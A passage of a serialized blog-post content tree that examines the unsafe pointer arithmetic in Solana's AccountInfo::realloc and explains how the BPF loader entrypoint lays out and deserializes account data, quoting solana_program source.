orig_len",{"type":26,"tag":217,"props":147643,"children":147644},{"style":7149},[147645],{"type":32,"value":8993},{"type":26,"tag":217,"props":147647,"children":147648},{"style":7154},[147649],{"type":32,"value":92589},{"type":26,"tag":217,"props":147651,"children":147652},{"style":7149},[147653],{"type":32,"value":180},{"type":26,"tag":217,"props":147655,"children":147656},{"style":7064},[147657],{"type":32,"value":93774},{"type":26,"tag":217,"props":147659,"children":147660},{"style":7048},[147661],{"type":32,"value":8217},{"type":26,"tag":217,"props":147663,"children":147664},{"class":7028,"line":6779},[147665],{"type":26,"tag":217,"props":147666,"children":147667},{"emptyLinePlaceholder":17},[147668],{"type":32,"value":7817},{"type":26,"tag":217,"props":147670,"children":147671},{"class":7028,"line":7140},[147672],{"type":26,"tag":217,"props":147673,"children":147674},{"style":7033},[147675],{"type":32,"value":147676},"    // realloc\n",{"type":26,"tag":217,"props":147678,"children":147679},{"class":7028,"line":7165},[147680,147684],{"type":26,"tag":217,"props":147681,"children":147682},{"style":7154},[147683],{"type":32,"value":120784},{"type":26,"tag":217,"props":147685,"children":147686},{"style":7048},[147687],{"type":32,"value":8064},{"type":26,"tag":217,"props":147689,"children":147690},{"class":7028,"line":7178},[147691],{"type":26,"tag":217,"props":147692,"children":147693},{"style":7033},[147694],{"type":32,"value":147695},"        // First set new length in the serialized data\n",{"type":26,"tag":217,"props":147697,"children":147698},{"class":7028,"line":7389},[147699,147703,147707,147711,147715,147719,147723,147727,147731,147736,147740,147744,147748,147752,147756,147760,147764,147768,147772,147776,147780],{"type":26,"tag":217,"props":147700,"children":147701},{"style":7154},[147702],{"type":32,"value":91366},{"type":26,"tag":217,"props":147704,"children":147705},{"style":7054},[147706],{"type":32,"value":120800},{"type":26,"tag":217,"props":147708,"children":147709},{"style":7149},[147710],{"type":32,"value":8993},{"type":26,"tag":217,"props":147712,"children":147713},{"style":7154},[147714],{"type":32,"value":92589},{"type":26,"tag":217,"props":147716,"children":147717},{"style":7149},[147718],{"type":32,"value":180},{"type":26,"tag":217,"props":147720,"children":147721},{"style":7064},[147722],{"type":32,"value":123973},{"type":26,"tag":217,"props":147724,"children":147725},{"style":7048},[147726],{"type":32,"value":78002},{"type":26,"tag":217,"props":147728,"children":147729},{"style":7149},[147730],{"type":32,"value":91725},{"type":26,"tag":217,"props":147732,"children":147733},{"style":7064},[147734],{"type":32,"value":147735},"as_mut_ptr",{"type":26,"tag":217,"props":147737,"children":147738},{"style":7048},[147739],{"type":32,"value":78002},{"type":26,"tag":217,"props":147741,"children":147742},{"style":7149},[147743],{"type":32,"value":180},{"type":26,"tag":217,"props":147745,"children":147746},{"style":7064},[147747],{"type":32,"value":35030},{"type":26,"tag":217,"props":147749,"children":147750},{"style":7048},[147751],{"type":32,"value":1851},{"type":26,"tag":217,"props":147753,"children":147754},{"style":7149},[147755],{"type":32,"value":18420},{"type":26,"tag":217,"props":147757,"children":147758},{"style":7130},[147759],{"type":32,"value":27891},{"type":26,"tag":217,"props":147761,"children":147762},{"style":7048},[147763],{"type":32,"value":8380},{"type":26,"tag":217,"props":147765,"children":147766},{"style":7154},[147767],{"type":32,"value":91735},{"type":26,"tag":217,"props":147769,"children":147770},{"style":7149},[147771],{"type":32,"value":9690},{"type":26,"tag":217,"props":147773,"children":147774},{"style":7154},[147775],{"type":32,"value":90786},{"type":26,"tag":217,"props":147777,"children":147778},{"style":7119},[147779],{"type":32,"value":91146},{"type":26,"tag":217,"props":147781,"children":147782},{"style":7048},[147783],{"type":32,"value":7162},{"type":26,"tag":217,"props":147785,"children":147786},{"class":7028,"line":7406},[147787,147791,147795,147799,147804,147808,147812],{"type":26,"tag":217,"props":147788,"children":147789},{"style":7149},[147790],{"type":32,"value":112985},{"type":26,"tag":217,"props":147792,"children":147793},{"style":7054},[147794],{"type":32,"value":12350},{"type":26,"tag":217,"props":147796,"children":147797},{"style":7149},[147798],{"type":32,"value":8993},{"type":26,"tag":217,"props":147800,"children":147801},{"style":7054},[147802],{"type":32,"value":147803}," new_len",{"type":26,"tag":217,"props":147805,"children":147806},{"style":7154},[147807],{"type":32,"value":97268},{"type":26,"tag":217,"props":147809,"children":147810},{"style":7119},[147811],{"type":32,"value":91146},{"type":26,"tag":217,"props":147813,"children":147814},{"style":7048},[147815],{"type":32,"value":7162},{"type":26,"tag":217,"props":147817,"children":147818},{"class":7028,"line":7439},[147819],{"type":26,"tag":217,"props":147820,"children":147821},{"emptyLinePlaceholder":17},[147822],{"type":32,"value":7817},{"type":26,"tag":217,"props":147824,"children":147825},{"class":7028,"line":7487},[147826],{"type":26,"tag":217,"props":147827,"children":147828},{"style":7033},[147829],{"type":32,"value":147830},"        // Then set the new length in the local slice\n",{"type":26,"tag":217,"props":147832,"children":147833},{"class":7028,"line":7524},[147834,147838,147842,147846,147850,147854,147858,147863,147867,147871,147875,147879,147884,147888,147892,147896,147900,147904,147908,147912,147916,147920,147924,147928,147932,147936,147940,147944,147948,147952,147956],{"type":26,"tag":217,"props":147835,"children":147836},{"style":7154},[147837],{"type":32,"value":91366},{"type":26,"tag":217,"props":147839,"children":147840},{"style":7054},[147841],{"type":32,"value":120800},{"type":26,"tag":217,"props":147843,"children":147844},{"style":7149},[147845],{"type":32,"value":8993},{"type":26,"tag":217,"props":147847,"children":147848},{"style":7149},[147849],{"type":32,"value":10222},{"type":26,"tag":217,"props":147851,"children":147852},{"style":7154},[147853],{"type":32,"value":90786},{"type":26,"tag":217,"props":147855,"children":147856},{"style":7149},[147857],{"type":32,"value":9690},{"type":26,"tag":217,"props":147859,"children":147860},{"style":7048},[147861],{"type":32,"value":147862},"(((",{"type":26,"tag":217,"props":147864,"children":147865},{"style":7154},[147866],{"type":32,"value":91922},{"type":26,"tag":217,"props":147868,"children":147869},{"style":7149},[147870],{"type":32,"value":180},{"type":26,"tag":217,"props":147872,"children":147873},{"style":7048},[147874],{"type":32,"value":33715},{"type":26,"tag":217,"props":147876,"children":147877},{"style":7149},[147878],{"type":32,"value":180},{"type":26,"tag":217,"props":147880,"children":147881},{"style":7064},[147882],{"type":32,"value":147883},"as_ptr",{"type":26,"tag":217,"props":147885,"children":147886},{"style":7048},[147887],{"type":32,"value":61808},{"type":26,"tag":217,"props":147889,"children":147890},{"style":7154},[147891],{"type":32,"value":91735},{"type":26,"tag":217,"props":147893,"children":147894},{"style":7149},[147895],{"type":32,"value":9690},{"type":26,"tag":217,"props":147897,"children":147898},{"style":7154},[147899],{"type":32,"value":74748},{"type":26,"tag":217,"props":147901,"children":147902},{"style":7119},[147903],{"type":32,"value":91146},{"type":26,"tag":217,"props":147905,"children":147906},{"style":7048},[147907],{"type":32,"value":1889},{"type":26,"tag":217,"props":147909,"children":147910},{"style":7149},[147911],{"type":32,"value":180},{"type":26,"tag":217,"props":147913,"children":147914},{"style":7064},[147915],{"type":32,"value":35030},{"type":26,"tag":217,"props":147917,"children":147918},{"style":7048},[147919],{"type":32,"value":1851},{"type":26,"tag":217,"props":147921,"children":147922},{"style":7130},[147923],{"type":32,"value":185},{"type":26,"tag":217,"props":147925,"children":147926},{"style":7048},[147927],{"type":32,"value":8380},{"type":26,"tag":217,"props":147929,"children":147930},{"style":7154},[147931],{"type":32,"value":91735},{"type":26,"tag":217,"props":147933,"children":147934},{"style":7119},[147935],{"type":32,"value":91146},{"type":26,"tag":217,"props":147937,"children":147938},{"style":7048},[147939],{"type":32,"value":8380},{"type":26,"tag":217,"props":147941,"children":147942},{"style":7154},[147943],{"type":32,"value":91735},{"type":26,"tag":217,"props":147945,"children":147946},{"style":7149},[147947],{"type":32,"value":9690},{"type":26,"tag":217,"props":147949,"children":147950},{"style":7154},[147951],{"type":32,"value":90786},{"type":26,"tag":217,"props":147953,"children":147954},{"style":7119},[147955],{"type":32,"value":91146},{"type":26,"tag":217,"props":147957,"children":147958},{"style":7048},[147959],{"type":32,"value":7669},{"type":26,"tag":217,"props":147961,"children":147962},{"class":7028,"line":7553},[147963,147967,147971,147975,147979,147983,147987],{"type":26,"tag":217,"props":147964,"children":147965},{"style":7149},[147966],{"type":32,"value":112985},{"type":26,"tag":217,"props":147968,"children":147969},{"style":7054},[147970],{"type":32,"value":12350},{"type":26,"tag":217,"props":147972,"children":147973},{"style":7149},[147974],{"type":32,"value":8993},{"type":26,"tag":217,"props":147976,"children":147977},{"style":7054},[147978],{"type":32,"value":147803},{"type":26,"tag":217,"props":147980,"children":147981},{"style":7154},[147982],{"type":32,"value":97268},{"type":26,"tag":217,"props":147984,"children":147985},{"style":7119},[147986],{"type":32,"value":91146},{"type":26,"tag":217,"props":147988,"children":147989},{"style":7048},[147990],{"type":32,"value":7162},{"type":26,"tag":217,"props":147992,"children":147993},{"class":7028,"line":7570},[147994],{"type":26,"tag":217,"props":147995,"children":147996},{"style":7048},[147997],{"type":32,"value":9754},{"type":26,"tag":217,"props":147999,"children":148000},{"class":7028,"line":7621},[148001],{"type":26,"tag":217,"props":148002,"children":148003},{"emptyLinePlaceholder":17},[148004],{"type":32,"value":7817},{"type":26,"tag":217,"props":148006,"children":148007},{"class":7028,"line":7672},[148008],{"type":26,"tag":217,"props":148009,"children":148010},{"style":7033},[148011],{"type":32,"value":148012},"    // zero-init if requested\n",{"type":26,"tag":217,"props":148014,"children":148015},{"class":7028,"line":7681},[148016,148020,148025,148029,148033,148037,148041],{"type":26,"tag":217,"props":148017,"children":148018},{"style":7042},[148019],{"type":32,"value":9710},{"type":26,"tag":217,"props":148021,"children":148022},{"style":7054},[148023],{"type":32,"value":148024}," zero_init",{"type":26,"tag":217,"props":148026,"children":148027},{"style":7149},[148028],{"type":32,"value":38514},{"type":26,"tag":217,"props":148030,"children":148031},{"style":7054},[148032],{"type":32,"value":147803},{"type":26,"tag":217,"props":148034,"children":148035},{"style":7149},[148036],{"type":32,"value":66933},{"type":26,"tag":217,"props":148038,"children":148039},{"style":7054},[148040],{"type":32,"value":147641},{"type":26,"tag":217,"props":148042,"children":148043},{"style":7048},[148044],{"type":32,"value":8064},{"type":26,"tag":217,"props":148046,"children":148047},{"class":7028,"line":7754},[148048,148053],{"type":26,"tag":217,"props":148049,"children":148050},{"style":7064},[148051],{"type":32,"value":148052},"        sol_memset",{"type":26,"tag":217,"props":148054,"children":148055},{"style":7048},[148056],{"type":32,"value":10932},{"type":26,"tag":217,"props":148058,"children":148059},{"class":7028,"line":7784},[148060,148064,148068,148072,148076,148080,148084,148088,148092,148097,148101],{"type":26,"tag":217,"props":148061,"children":148062},{"style":7149},[148063],{"type":32,"value":91254},{"type":26,"tag":217,"props":148065,"children":148066},{"style":7154},[148067],{"type":32,"value":90786},{"type":26,"tag":217,"props":148069,"children":148070},{"style":7154},[148071],{"type":32,"value":92589},{"type":26,"tag":217,"props":148073,"children":148074},{"style":7149},[148075],{"type":32,"value":180},{"type":26,"tag":217,"props":148077,"children":148078},{"style":7064},[148079],{"type":32,"value":123973},{"type":26,"tag":217,"props":148081,"children":148082},{"style":7048},[148083],{"type":32,"value":78002},{"type":26,"tag":217,"props":148085,"children":148086},{"style":7149},[148087],{"type":32,"value":605},{"type":26,"tag":217,"props":148089,"children":148090},{"style":7048},[148091],{"type":32,"value":7127},{"type":26,"tag":217,"props":148093,"children":148094},{"style":7054},[148095],{"type":32,"value":148096},"orig_len",{"type":26,"tag":217,"props":148098,"children":148099},{"style":7149},[148100],{"type":32,"value":120880},{"type":26,"tag":217,"props":148102,"children":148103},{"style":7048},[148104],{"type":32,"value":77742},{"type":26,"tag":217,"props":148106,"children":148107},{"class":7028,"line":7802},[148108,148113],{"type":26,"tag":217,"props":148109,"children":148110},{"style":7130},[148111],{"type":32,"value":148112},"            0",{"type":26,"tag":217,"props":148114,"children":148115},{"style":7048},[148116],{"type":32,"value":10953},{"type":26,"tag":217,"props":148118,"children":148119},{"class":7028,"line":7811},[148120,148125,148129,148134,148138,148142],{"type":26,"tag":217,"props":148121,"children":148122},{"style":7054},[148123],{"type":32,"value":148124},"            new_len",{"type":26,"tag":217,"props":148126,"children":148127},{"style":7149},[148128],{"type":32,"value":180},{"type":26,"tag":217,"props":148130,"children":148131},{"style":7064},[148132],{"type":32,"value":148133},"saturating_sub",{"type":26,"tag":217,"props":148135,"children":148136},{"style":7048},[148137],{"type":32,"value":1851},{"type":26,"tag":217,"props":148139,"children":148140},{"style":7054},[148141],{"type":32,"value":148096},{"type":26,"tag":217,"props":148143,"children":148144},{"style":7048},[148145],{"type":32,"value":13841},{"type":26,"tag":217,"props":148147,"children":148148},{"class":7028,"line":7820},[148149],{"type":26,"tag":217,"props":148150,"children":148151},{"style":7048},[148152],{"type":32,"value":63576},{"type":26,"tag":217,"props":148154,"children":148155},{"class":7028,"line":7844},[148156],{"type":26,"tag":217,"props":148157,"children":148158},{"style":7048},[148159],{"type":32,"value":9754},{"type":26,"tag":217,"props":148161,"children":148162},{"class":7028,"line":7910},[148163],{"type":26,"tag":217,"props":148164,"children":148165},{"emptyLinePlaceholder":17},[148166],{"type":32,"value":7817},{"type":26,"tag":217,"props":148168,"children":148169},{"class":7028,"line":7954},[148170,148174],{"type":26,"tag":217,"props":148171,"children":148172},{"style":7119},[148173],{"type":32,"value":78087},{"type":26,"tag":217,"props":148175,"children":148176},{"style":7048},[148177],{"type":32,"value":91763},{"type":26,"tag":217,"props":148179,"children":148180},{"class":7028,"line":7985},[148181],{"type":26,"tag":217,"props":148182,"children":148183},{"style":7048},[148184],{"type":32,"value":7184},{"type":26,"tag":39,"props":148186,"children":148187},{},[148188,148190,148196,148198,148203],{"type":32,"value":148189},"Oh. There's ",{"type":26,"tag":83,"props":148191,"children":148193},{"className":148192},[],[148194],{"type":32,"value":148195},"unsafe",{"type":32,"value":148197},". And no bounds check in sight. ",{"type":26,"tag":65,"props":148199,"children":148200},{},[148201],{"type":32,"value":148202},"And",{"type":32,"value":148204}," pointer math. That doesn't look promising...",{"type":26,"tag":27,"props":148206,"children":148208},{"id":148207},"breaking-down-realloc",[148209,148211],{"type":32,"value":148210},"Breaking down ",{"type":26,"tag":83,"props":148212,"children":148214},{"className":148213},[],[148215],{"type":32,"value":147499},{"type":26,"tag":39,"props":148217,"children":148218},{},[148219,148221,148226],{"type":32,"value":148220},"Let's pick apart this ",{"type":26,"tag":83,"props":148222,"children":148224},{"className":148223},[],[148225],{"type":32,"value":148195},{"type":32,"value":148227}," block, since there's a lot going on here.",{"type":26,"tag":207,"props":148229,"children":148231},{"className":56140,"code":148230,"language":56139,"meta":8,"style":8},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[148232],{"type":26,"tag":83,"props":148233,"children":148234},{"__ignoreMap":8},[148235,148243,148330],{"type":26,"tag":217,"props":148236,"children":148237},{"class":7028,"line":7029},[148238],{"type":26,"tag":217,"props":148239,"children":148240},{"style":7033},[148241],{"type":32,"value":148242},"// First set new length in the serialized data\n",{"type":26,"tag":217,"props":148244,"children":148245},{"class":7028,"line":6770},[148246,148250,148254,148258,148262,148266,148270,148274,148278,148282,148286,148290,148294,148298,148302,148306,148310,148314,148318,148322,148326],{"type":26,"tag":217,"props":148247,"children":148248},{"style":7154},[148249],{"type":32,"value":12470},{"type":26,"tag":217,"props":148251,"children":148252},{"style":7054},[148253],{"type":32,"value":120800},{"type":26,"tag":217,"props":148255,"children":148256},{"style":7149},[148257],{"type":32,"value":8993},{"type":26,"tag":217,"props":148259,"children":148260},{"style":7154},[148261],{"type":32,"value":92589},{"type":26,"tag":217,"props":148263,"children":148264},{"style":7149},[148265],{"type":32,"value":180},{"type":26,"tag":217,"props":148267,"children":148268},{"style":7064},[148269],{"type":32,"value":123973},{"type":26,"tag":217,"props":148271,"children":148272},{"style":7048},[148273],{"type":32,"value":78002},{"type":26,"tag":217,"props":148275,"children":148276},{"style":7149},[148277],{"type":32,"value":91725},{"type":26,"tag":217,"props":148279,"children":148280},{"style":7064},[148281],{"type":32,"value":147735},{"type":26,"tag":217,"props":148283,"children":148284},{"style":7048},[148285],{"type":32,"value":78002},{"type":26,"tag":217,"props":148287,"children":148288},{"style":7149},[148289],{"type":32,"value":180},{"type":26,"tag":217,"props":148291,"children":148292},{"style":7064},[148293],{"type":32,"value":35030},{"type":26,"tag":217,"props":148295,"children":148296},{"style":7048},[148297],{"type":32,"value":1851},{"type":26,"tag":217,"props":148299,"children":148300},{"style":7149},[148301],{"type":32,"value":18420},{"type":26,"tag":217,"props":148303,"children":148304},{"style":7130},[148305],{"type":32,"value":27891},{"type":26,"tag":217,"props":148307,"children":148308},{"style":7048},[148309],{"type":32,"value":8380},{"type":26,"tag":217,"props":148311,"children":148312},{"style":7154},[148313],{"type":32,"value":91735},{"type":26,"tag":217,"props":148315,"children":148316},{"style":7149},[148317],{"type":32,"value":9690},{"type":26,"tag":217,"props":148319,"children":148320},{"style":7154},[148321],{"type":32,"value":90786},{"type":26,"tag":217,"props":148323,"children":148324},{"style":7119},[148325],{"type":32,"value":91146},{"type":26,"tag":217,"props":148327,"children":148328},{"style":7048},[148329],{"type":32,"value":7162},{"type":26,"tag":217,"props":148331,"children":148332},{"class":7028,"line":6779},[148333,148337,148341,148345,148349,148353,148357],{"type":26,"tag":217,"props":148334,"children":148335},{"style":7149},[148336],{"type":32,"value":10006},{"type":26,"tag":217,"props":148338,"children":148339},{"style":7054},[148340],{"type":32,"value":12350},{"type":26,"tag":217,"props":148342,"children":148343},{"style":7149},[148344],{"type":32,"value":8993},{"type":26,"tag":217,"props":148346,"children":148347},{"style":7054},[148348],{"type":32,"value":147803},{"type":26,"tag":217,"props":148350,"children":148351},{"style":7154},[148352],{"type":32,"value":97268},{"type":26,"tag":217,"props":148354,"children":148355},{"style":7119},[148356],{"type":32,"value":91146},{"type":26,"tag":217,"props":148358,"children":148359},{"style":7048},[148360],{"type":32,"value":7162},{"type":26,"tag":39,"props":148362,"children":148363},{},[148364,148369],{"type":26,"tag":83,"props":148365,"children":148367},{"className":148366},[],[148368],{"type":32,"value":123973},{"type":32,"value":148370}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":26,"tag":607,"props":148372,"children":148374},{"id":148373},"bpf-loader-abi",[148375],{"type":32,"value":148376},"BPF Loader ABI",{"type":26,"tag":39,"props":148378,"children":148379},{},[148380,148382,148387,148389,148402],{"type":32,"value":148381},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":26,"tag":83,"props":148383,"children":148385},{"className":148384},[],[148386],{"type":32,"value":124242},{"type":32,"value":148388},"'s entrypoint code - the code that's added when you use the ",{"type":26,"tag":163,"props":148390,"children":148393},{"href":148391,"rel":148392},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[167],[148394,148400],{"type":26,"tag":83,"props":148395,"children":148397},{"className":148396},[],[148398],{"type":32,"value":148399},"entrypoint!",{"type":32,"value":148401}," macro",{"type":32,"value":1473},{"type":26,"tag":207,"props":148404,"children":148406},{"className":56140,"code":148405,"language":56139,"meta":8,"style":8},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[148407],{"type":26,"tag":83,"props":148408,"children":148409},{"__ignoreMap":8},[148410,148418,148489,148530,148581,148638,148679,148718,148725],{"type":26,"tag":217,"props":148411,"children":148412},{"class":7028,"line":7029},[148413],{"type":26,"tag":217,"props":148414,"children":148415},{"style":7048},[148416],{"type":32,"value":148417},"#[no_mangle]\n",{"type":26,"tag":217,"props":148419,"children":148420},{"class":7028,"line":6770},[148421,148425,148430,148435,148440,148444,148449,148453,148457,148461,148465,148469,148473,148477,148481,148485],{"type":26,"tag":217,"props":148422,"children":148423},{"style":7154},[148424],{"type":32,"value":56830},{"type":26,"tag":217,"props":148426,"children":148427},{"style":7154},[148428],{"type":32,"value":148429}," unsafe",{"type":26,"tag":217,"props":148431,"children":148432},{"style":7154},[148433],{"type":32,"value":148434}," extern",{"type":26,"tag":217,"props":148436,"children":148437},{"style":7338},[148438],{"type":32,"value":148439}," \"C\"",{"type":26,"tag":217,"props":148441,"children":148442},{"style":7154},[148443],{"type":32,"value":56835},{"type":26,"tag":217,"props":148445,"children":148446},{"style":7064},[148447],{"type":32,"value":148448}," entrypoint",{"type":26,"tag":217,"props":148450,"children":148451},{"style":7048},[148452],{"type":32,"value":1851},{"type":26,"tag":217,"props":148454,"children":148455},{"style":7054},[148456],{"type":32,"value":56415},{"type":26,"tag":217,"props":148458,"children":148459},{"style":7149},[148460],{"type":32,"value":1473},{"type":26,"tag":217,"props":148462,"children":148463},{"style":7149},[148464],{"type":32,"value":9690},{"type":26,"tag":217,"props":148466,"children":148467},{"style":7154},[148468],{"type":32,"value":90786},{"type":26,"tag":217,"props":148470,"children":148471},{"style":7119},[148472],{"type":32,"value":125491},{"type":26,"tag":217,"props":148474,"children":148475},{"style":7048},[148476],{"type":32,"value":8380},{"type":26,"tag":217,"props":148478,"children":148479},{"style":7149},[148480],{"type":32,"value":10115},{"type":26,"tag":217,"props":148482,"children":148483},{"style":7119},[148484],{"type":32,"value":91146},{"type":26,"tag":217,"props":148486,"children":148487},{"style":7048},[148488],{"type":32,"value":8064},{"type":26,"tag":217,"props":148490,"children":148491},{"class":7028,"line":6779},[148492,148496,148500,148505,148509,148513,148517,148522,148526],{"type":26,"tag":217,"props":148493,"children":148494},{"style":7154},[148495],{"type":32,"value":77780},{"type":26,"tag":217,"props":148497,"children":148498},{"style":7048},[148499],{"type":32,"value":7051},{"type":26,"tag":217,"props":148501,"children":148502},{"style":7054},[148503],{"type":32,"value":148504},"program_id",{"type":26,"tag":217,"props":148506,"children":148507},{"style":7048},[148508],{"type":32,"value":7599},{"type":26,"tag":217,"props":148510,"children":148511},{"style":7054},[148512],{"type":32,"value":91204},{"type":26,"tag":217,"props":148514,"children":148515},{"style":7048},[148516],{"type":32,"value":7599},{"type":26,"tag":217,"props":148518,"children":148519},{"style":7054},[148520],{"type":32,"value":148521},"instruction_data",{"type":26,"tag":217,"props":148523,"children":148524},{"style":7048},[148525],{"type":32,"value":8380},{"type":26,"tag":217,"props":148527,"children":148528},{"style":7149},[148529],{"type":32,"value":59957},{"type":26,"tag":217,"props":148531,"children":148532},{"class":7028,"line":7140},[148533,148538,148542,148546,148551,148555,148559,148563,148568,148572,148576],{"type":26,"tag":217,"props":148534,"children":148535},{"style":7154},[148536],{"type":32,"value":148537},"        unsafe",{"type":26,"tag":217,"props":148539,"children":148540},{"style":7048},[148541],{"type":32,"value":65337},{"type":26,"tag":217,"props":148543,"children":148544},{"style":7149},[148545],{"type":32,"value":118045},{"type":26,"tag":217,"props":148547,"children":148548},{"style":7154},[148549],{"type":32,"value":148550},"crate",{"type":26,"tag":217,"props":148552,"children":148553},{"style":7149},[148554],{"type":32,"value":56166},{"type":26,"tag":217,"props":148556,"children":148557},{"style":7048},[148558],{"type":32,"value":58743},{"type":26,"tag":217,"props":148560,"children":148561},{"style":7149},[148562],{"type":32,"value":56166},{"type":26,"tag":217,"props":148564,"children":148565},{"style":7064},[148566],{"type":32,"value":148567},"deserialize",{"type":26,"tag":217,"props":148569,"children":148570},{"style":7048},[148571],{"type":32,"value":1851},{"type":26,"tag":217,"props":148573,"children":148574},{"style":7054},[148575],{"type":32,"value":56415},{"type":26,"tag":217,"props":148577,"children":148578},{"style":7048},[148579],{"type":32,"value":148580},") };\n",{"type":26,"tag":217,"props":148582,"children":148583},{"class":7028,"line":7165},[148584,148588,148593,148598,148602,148606,148610,148614,148618,148622,148626,148630,148634],{"type":26,"tag":217,"props":148585,"children":148586},{"style":7042},[148587],{"type":32,"value":146145},{"type":26,"tag":217,"props":148589,"children":148590},{"style":7149},[148591],{"type":32,"value":148592}," $",{"type":26,"tag":217,"props":148594,"children":148595},{"style":7054},[148596],{"type":32,"value":148597},"process_instruction",{"type":26,"tag":217,"props":148599,"children":148600},{"style":7048},[148601],{"type":32,"value":1851},{"type":26,"tag":217,"props":148603,"children":148604},{"style":7149},[148605],{"type":32,"value":9804},{"type":26,"tag":217,"props":148607,"children":148608},{"style":7054},[148609],{"type":32,"value":148504},{"type":26,"tag":217,"props":148611,"children":148612},{"style":7048},[148613],{"type":32,"value":7599},{"type":26,"tag":217,"props":148615,"children":148616},{"style":7149},[148617],{"type":32,"value":9804},{"type":26,"tag":217,"props":148619,"children":148620},{"style":7054},[148621],{"type":32,"value":91204},{"type":26,"tag":217,"props":148623,"children":148624},{"style":7048},[148625],{"type":32,"value":7599},{"type":26,"tag":217,"props":148627,"children":148628},{"style":7149},[148629],{"type":32,"value":9804},{"type":26,"tag":217,"props":148631,"children":148632},{"style":7054},[148633],{"type":32,"value":148521},{"type":26,"tag":217,"props":148635,"children":148636},{"style":7048},[148637],{"type":32,"value":7618},{"type":26,"tag":217,"props":148639,"children":148640},{"class":7028,"line":7178},[148641,148645,148650,148654,148658,148662,148666,148670,148674],{"type":26,"tag":217,"props":148642,"children":148643},{"style":7119},[148644],{"type":32,"value":91758},{"type":26,"tag":217,"props":148646,"children":148647},{"style":7048},[148648],{"type":32,"value":148649},"(()) ",{"type":26,"tag":217,"props":148651,"children":148652},{"style":7149},[148653],{"type":32,"value":8059},{"type":26,"tag":217,"props":148655,"children":148656},{"style":7149},[148657],{"type":32,"value":148592},{"type":26,"tag":217,"props":148659,"children":148660},{"style":7154},[148661],{"type":32,"value":148550},{"type":26,"tag":217,"props":148663,"children":148664},{"style":7149},[148665],{"type":32,"value":56166},{"type":26,"tag":217,"props":148667,"children":148668},{"style":7048},[148669],{"type":32,"value":58743},{"type":26,"tag":217,"props":148671,"children":148672},{"style":7149},[148673],{"type":32,"value":56166},{"type":26,"tag":217,"props":148675,"children":148676},{"style":7048},[148677],{"type":32,"value":148678},"SUCCESS,\n",{"type":26,"tag":217,"props":148680,"children":148681},{"class":7028,"line":7389},[148682,148686,148690,148694,148698,148702,148706,148710,148714],{"type":26,"tag":217,"props":148683,"children":148684},{"style":7119},[148685],{"type":32,"value":97808},{"type":26,"tag":217,"props":148687,"children":148688},{"style":7048},[148689],{"type":32,"value":1851},{"type":26,"tag":217,"props":148691,"children":148692},{"style":7054},[148693],{"type":32,"value":7747},{"type":26,"tag":217,"props":148695,"children":148696},{"style":7048},[148697],{"type":32,"value":8380},{"type":26,"tag":217,"props":148699,"children":148700},{"style":7149},[148701],{"type":32,"value":8059},{"type":26,"tag":217,"props":148703,"children":148704},{"style":7054},[148705],{"type":32,"value":80988},{"type":26,"tag":217,"props":148707,"children":148708},{"style":7149},[148709],{"type":32,"value":180},{"type":26,"tag":217,"props":148711,"children":148712},{"style":7064},[148713],{"type":32,"value":77886},{"type":26,"tag":217,"props":148715,"children":148716},{"style":7048},[148717],{"type":32,"value":79153},{"type":26,"tag":217,"props":148719,"children":148720},{"class":7028,"line":7406},[148721],{"type":26,"tag":217,"props":148722,"children":148723},{"style":7048},[148724],{"type":32,"value":9754},{"type":26,"tag":217,"props":148726,"children":148727},{"class":7028,"line":7439},[148728],{"type":26,"tag":217,"props":148729,"children":148730},{"style":7048},[148731],{"type":32,"value":7184},{"type":26,"tag":39,"props":148733,"children":148734},{},[148735,148737,148742,148744,148750,148752,148759,148761,148766,148768,148775],{"type":32,"value":148736},"What we see here is the contract's real entrypoint - it takes a ",{"type":26,"tag":83,"props":148738,"children":148740},{"className":148739},[],[148741],{"type":32,"value":36887},{"type":32,"value":148743}," buffer in from the loader, and calls ",{"type":26,"tag":83,"props":148745,"children":148747},{"className":148746},[],[148748],{"type":32,"value":148749},"solana_program::entrypoint::deserialize",{"type":32,"value":148751},", which then ",{"type":26,"tag":163,"props":148753,"children":148756},{"href":148754,"rel":148755},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[167],[148757],{"type":32,"value":148758},"parses out",{"type":32,"value":148760}," all the ",{"type":26,"tag":83,"props":148762,"children":148764},{"className":148763},[],[148765],{"type":32,"value":93505},{"type":32,"value":148767},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":26,"tag":163,"props":148769,"children":148772},{"href":148770,"rel":148771},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[167],[148773],{"type":32,"value":148774},"laid out",{"type":32,"value":1473},{"type":26,"tag":207,"props":148777,"children":148779},{"className":56140,"code":148778,"language":56139,"meta":8,"style":8},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // 